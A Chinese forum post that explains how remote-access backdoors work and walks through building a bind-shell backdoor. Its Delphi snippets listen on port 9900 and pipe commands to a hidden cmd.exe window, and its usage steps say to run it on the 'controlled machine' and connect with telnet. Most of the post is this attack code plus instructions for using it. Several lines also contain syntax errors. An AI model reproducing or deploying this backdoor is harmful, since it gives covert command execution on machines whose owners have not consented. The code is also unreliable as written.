找回密码
 立即注册→加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 下载 VB C 实现 编写
查看: 2482|回复: 0

正向后门与反向后门原理

[复制链接]
发表于 2018-11-20 23:18:45 | 显示全部楼层 |阅读模式

欢迎访问技术宅的结界,请注册或者登录吧。

您需要 登录 才可以下载或查看,没有账号?立即注册→加入我们

×
一、后门的分类
按照连接方式可分为:正向后门及反弹后门。
二、后门的功能
主要是用来获取被控机连接权限的,所以一般后门主要功能集中在隐藏、潜伏、保持连接,功能上具备执行命令功能即可。
三、后门实现原理
正向后门需要在本机开启监听端口等到控制机的连接控制。
(1)在windows下可以使用socket来建立套接字,再使用bind绑定地址、listen监听端口、accept等到控制机的连接,连接上以后就可以使用recv和send收发控制指令和回显信息了。主要原理基本就这些,当然使用完socket要记得用closesocket关闭套接字。
(2)使用进程通信方法将命令传递给cmd.exe执行,并将结果发送给控制机。
四、代码的实现
1、建立通信
   port:=9900;//定义访问端口
   timeout:=PChar(5000);//定义超时时间
   bindserver:=socket(AF_INET,SOCK_STREAM,0);//定义socket
   addserver.sin_family:=AF_INET;
   addserver.sin_port;=htons(port);
   addserver.sin_addr.S_adder:INADDR_ANY;
  setsockopt(bindserver,SOL_SOCKET,SO_RCVTIMEO,timeout,sizeof(timeout)); //设置超时时间
  bind(bindserver,addserver,sizeof(addserver));//绑定地址
  listen(bindserver,5);//启动监听
2、创建管道与cmd.exe通信
  sa:SECURITY_ATTRIBUTES; //定义安全属性
  siinfo:STARTUPINFO;//新进程的STARTUPINFO结构体
  sa.nLenth:=sizeof(SECURITY_ATTRIBUTES);//设置安全属性
  sa.lpSecurityDescriptor:=nil;
  sa.bInheritHandle:=TRUE;
  createpipe(hreadpipe1,hwritepipe1,@sa,0); //创建两个匿名管道
  createpipe(hreadpipe2,hwritepipe2,@sa,0);
  siinfo.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
  siinfo.wShowWindow:=SW_HIDE; //新进程窗体隐藏
  siinfo.hStdInput:=hreadpipe2;  //新进程输入管道
  siinfo.hStdOutput:=hwritepipe1; //新进程输出管道
  siinfo.hStdError:=hwritepipe1; //新进程报错信息管道
  StrPCopy(cmdpath,'c:\windows\system32\cmd.exe'); //设置cmd路径
  CreateProcess(nil,cmdpath,nil,nil,true,0,nil,nil,siinfo,processinformation);//创建进程
五、使用方法
1、编译好后门demo并运行,会在被控机监听9900端口。
2、使用telnet连接被控机9900   使用方法:telent  127.0.0.1   9900
3、执行命令,连接成功之后执行了dir和whoami都可正常回显,基本没啥问题。
回复

使用道具 举报

本版积分规则

QQ|Archiver|小黑屋|技术宅的结界 ( 滇ICP备16008837号 )|网站地图

GMT+8, 2024-11-23 17:28 , Processed in 0.028563 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表